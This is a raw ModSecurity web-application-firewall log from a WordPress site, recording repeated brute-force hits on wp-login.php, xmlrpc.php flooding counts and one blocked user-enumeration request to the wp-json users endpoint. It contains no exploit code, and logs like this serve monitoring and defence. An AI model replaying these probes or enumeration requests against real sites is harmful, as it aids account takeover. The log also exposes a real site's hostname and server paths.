[Tue Nov 18 13:42:26.337917 2025] [:error] [pid 44560:tid 44590] [client 45.119.81.168:39570] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwHQgnbP7etF3q5-5swiAAAANM"]
[Tue Nov 18 13:56:44.735815 2025] [:error] [pid 44472:tid 44551] [client 198.54.125.172:39180] [client 198.54.125.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.125.172, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwKnIKhGwkiLjv8BQyXIgAAAVQ"]
[Tue Nov 18 13:56:46.006850 2025] [:error] [pid 44472:tid 44555] [client 198.54.125.172:39180] [client 198.54.125.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.125.172, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwKnoKhGwkiLjv8BQyXJAAAAVg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:06:54.875857 2025] [:error] [pid 1387:tid 1411] [client 3.108.243.0:50590] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwM_kzBvalKyx3hMvX6PAAAABI"]
[Tue Nov 18 14:06:57.244887 2025] [:error] [pid 1387:tid 1406] [client 3.108.243.0:50590] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwNAUzBvalKyx3hMvX6RAAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:07:54.702674 2025] [:error] [pid 44472:tid 44547] [client 198.54.125.115:47324] [client 198.54.125.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.125.115, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwNOoKhGwkiLjv8BQyaXwAAAVA"]
[Tue Nov 18 14:07:56.395863 2025] [:error] [pid 44472:tid 44554] [client 198.54.125.115:47324] [client 198.54.125.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.125.115, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwNPIKhGwkiLjv8BQyaZQAAAVc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:08:15.944680 2025] [:error] [pid 44560:tid 44578] [client 63.250.38.190:50966] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwNTwnbP7etF3q5-5s6mAAAAMc"]
[Tue Nov 18 14:08:17.264028 2025] [:error] [pid 44560:tid 44579] [client 63.250.38.190:50966] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwNUQnbP7etF3q5-5s6mgAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:38:20.149074 2025] [:error] [pid 44624:tid 44631] [client 45.119.81.168:52074] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwUXCllffozoBluWCUWzgAAAYQ"]
[Tue Nov 18 14:38:22.756765 2025] [:error] [pid 44624:tid 44632] [client 45.119.81.168:52074] [client 45.119.81.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.81.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwUXillffozoBluWCUW0QAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:48:50.320040 2025] [:error] [pid 44472:tid 44544] [client 198.54.119.81:36094] [client 198.54.119.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwW0oKhGwkiLjv8BQynGwAAAU0"]
[Tue Nov 18 14:48:52.121674 2025] [:error] [pid 44472:tid 44540] [client 198.54.119.81:36094] [client 198.54.119.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwW1IKhGwkiLjv8BQynHQAAAUk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:50:24.732684 2025] [:error] [pid 44471:tid 44515] [client 63.250.38.180:53422] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwXMO_6m0bQO14XwtMShwAAAQs"]
[Tue Nov 18 14:50:26.394611 2025] [:error] [pid 44471:tid 44526] [client 63.250.38.180:53422] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwXMu_6m0bQO14XwtMSiwAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:50:48.188496 2025] [:error] [pid 44471:tid 44520] [client 162.0.232.52:57942] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwXSO_6m0bQO14XwtMSnQAAARA"]
[Tue Nov 18 14:50:49.459932 2025] [:error] [pid 44471:tid 44525] [client 162.0.232.52:57942] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwXSe_6m0bQO14XwtMSnwAAARU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 14:59:21.795521 2025] [:error] [pid 44470:tid 44478] [client 198.54.114.40:34952] [client 198.54.114.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwZSTv-RLYfULjlgDaGtwAAAEM"]
[Tue Nov 18 14:59:23.057030 2025] [:error] [pid 44470:tid 44483] [client 198.54.114.40:34952] [client 198.54.114.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.40, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwZSzv-RLYfULjlgDaGuAAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 15:11:32.682707 2025] [:error] [pid 44472:tid 44555] [client 103.71.64.6:45908] [client 103.71.64.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.71.64.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRwcJIKhGwkiLjv8BQyu8wAAAVg"]
[Tue Nov 18 15:20:26.271717 2025] [:error] [pid 44560:tid 44590] [client 198.54.120.130:39164] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRweOgnbP7etF3q5-5tWFgAAANM"]
[Tue Nov 18 15:20:28.273684 2025] [:error] [pid 44560:tid 44587] [client 198.54.120.130:39164] [client 198.54.120.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwePAnbP7etF3q5-5tWGgAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 15:30:46.292109 2025] [:error] [pid 44471:tid 44512] [client 161.132.48.191:56456] [client 161.132.48.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.48.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwgpu_6m0bQO14XwtMeWwAAAQg"]
[Tue Nov 18 15:30:47.647684 2025] [:error] [pid 44471:tid 44520] [client 161.132.48.191:56456] [client 161.132.48.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.48.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwgp-_6m0bQO14XwtMeYAAAARA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 15:38:26.475149 2025] [:error] [pid 44560:tid 44593] [client 161.132.48.191:59868] [client 161.132.48.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.48.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwicgnbP7etF3q5-5tbsQAAANY"]
[Tue Nov 18 15:38:30.760970 2025] [:error] [pid 44560:tid 44592] [client 161.132.48.191:59868] [client 161.132.48.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.48.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwidgnbP7etF3q5-5tbtwAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 15:39:21.983739 2025] [:error] [pid 44560:tid 44587] [client 138.122.71.215:56012] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.122.71.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwiqQnbP7etF3q5-5tcDgAAANA"]
[Tue Nov 18 15:39:26.625693 2025] [:error] [pid 44560:tid 44577] [client 138.122.71.215:56012] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.122.71.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwirgnbP7etF3q5-5tcGgAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 15:50:53.524756 2025] [:error] [pid 44470:tid 44477] [client 161.132.48.191:39364] [client 161.132.48.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.48.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwlXTv-RLYfULjlgDaWFwAAAEI"]
[Tue Nov 18 15:56:04.971484 2025] [:error] [pid 44560:tid 44578] [client 138.122.71.215:35230] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.122.71.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwmlAnbP7etF3q5-5tiMAAAAMc"]
[Tue Nov 18 15:56:09.363895 2025] [:error] [pid 44560:tid 44571] [client 138.122.71.215:35230] [client 138.122.71.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.122.71.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwmmQnbP7etF3q5-5tiQQAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 16:18:23.529691 2025] [:error] [pid 1387:tid 1414] [client 103.71.64.6:20493] [client 103.71.64.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRwrz0zBvalKyx3hMvU1FAAAABU"]
[Tue Nov 18 16:20:04.436812 2025] [:error] [pid 1387:tid 1416] [client 103.71.64.6:36878] [client 103.71.64.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.71.64.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRwsNEzBvalKyx3hMvU16QAAABc"]
[Tue Nov 18 16:21:35.801761 2025] [:error] [pid 44624:tid 44628] [client 103.71.64.6:56363] [client 103.71.64.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.71.64.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRwsjyllffozoBluWCVGagAAAYE"]
[Tue Nov 18 16:23:01.791405 2025] [:error] [pid 1387:tid 1411] [client 103.71.64.6:64788] [client 103.71.64.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.71.64.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRws5UzBvalKyx3hMvU20gAAABI"]
[Tue Nov 18 16:32:16.697483 2025] [:error] [pid 44470:tid 44491] [client 66.29.146.11:60342] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwvEDv-RLYfULjlgDajxwAAAFA"]
[Tue Nov 18 16:32:19.778631 2025] [:error] [pid 44470:tid 44483] [client 66.29.146.11:60342] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwvEzv-RLYfULjlgDajygAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 16:43:44.885970 2025] [:error] [pid 44470:tid 44481] [client 167.86.68.168:34558] [client 167.86.68.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.68.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwxwDv-RLYfULjlgDanVQAAAEY"]
[Tue Nov 18 16:43:47.652866 2025] [:error] [pid 44470:tid 44498] [client 167.86.68.168:34558] [client 167.86.68.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.68.168, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwxwzv-RLYfULjlgDanWgAAAFc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 16:45:09.750695 2025] [:error] [pid 44624:tid 44631] [client 3.108.243.0:59982] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwyFSllffozoBluWCVTigAAAYQ"]
[Tue Nov 18 16:45:10.896890 2025] [:error] [pid 44624:tid 44640] [client 3.108.243.0:59982] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRwyFillffozoBluWCVTjAAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 16:53:51.377986 2025] [:error] [pid 44560:tid 44577] [client 82.64.124.218:48116] [client 82.64.124.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.64.124.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw0HwnbP7etF3q5-5t1uQAAAMY"]
[Tue Nov 18 16:53:52.811851 2025] [:error] [pid 44560:tid 44595] [client 82.64.124.218:48116] [client 82.64.124.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.64.124.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw0IAnbP7etF3q5-5t1uwAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 17:04:25.433753 2025] [:error] [pid 44472:tid 44534] [client 66.29.132.216:41678] [client 66.29.132.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.132.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw2mYKhGwkiLjv8BQzSvQAAAUM"]
[Tue Nov 18 17:04:26.818044 2025] [:error] [pid 44472:tid 44555] [client 66.29.132.216:41678] [client 66.29.132.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.132.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw2moKhGwkiLjv8BQzSwgAAAVg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 17:05:27.662308 2025] [:error] [pid 44624:tid 44631] [client 162.0.217.89:60300] [client 162.0.217.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw21yllffozoBluWCVdVQAAAYQ"]
[Tue Nov 18 17:05:29.402776 2025] [:error] [pid 44624:tid 44638] [client 162.0.217.89:60300] [client 162.0.217.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw22SllffozoBluWCVdXAAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 17:14:17.595698 2025] [:error] [pid 1387:tid 1405] [client 198.54.120.87:35170] [client 198.54.120.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw46UzBvalKyx3hMvVLTgAAAAw"]
[Tue Nov 18 17:14:19.591750 2025] [:error] [pid 1387:tid 1408] [client 198.54.120.87:35170] [client 198.54.120.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.87, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRw460zBvalKyx3hMvVLVAAAAA8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 17:41:10.325568 2025] [:error] [pid 44624:tid 44631] [client 170.106.179.68:50934] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRw_NillffozoBluWCVxfQAAAYQ"]
[Tue Nov 18 17:56:07.128306 2025] [:error] [pid 44560:tid 44584] [client 198.177.120.64:48560] [client 198.177.120.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.120.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxCtwnbP7etF3q5-5uMTAAAAM0"]
[Tue Nov 18 17:56:08.734755 2025] [:error] [pid 44560:tid 44571] [client 198.177.120.64:48560] [client 198.177.120.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.120.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxCuAnbP7etF3q5-5uMTgAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 17:56:33.684821 2025] [:error] [pid 44624:tid 44648] [client 162.0.217.77:50126] [client 162.0.217.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxC0SllffozoBluWCV7CQAAAZU"]
[Tue Nov 18 17:56:35.109306 2025] [:error] [pid 44624:tid 44640] [client 162.0.217.77:50126] [client 162.0.217.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxC0yllffozoBluWCV7DQAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 18:27:59.446714 2025] [:error] [pid 44470:tid 44476] [client 68.65.123.107:49356] [client 68.65.123.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxKLzv-RLYfULjlgDbIaAAAAEE"]
[Tue Nov 18 18:28:00.710215 2025] [:error] [pid 44470:tid 44480] [client 68.65.123.107:49356] [client 68.65.123.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxKMDv-RLYfULjlgDbIawAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
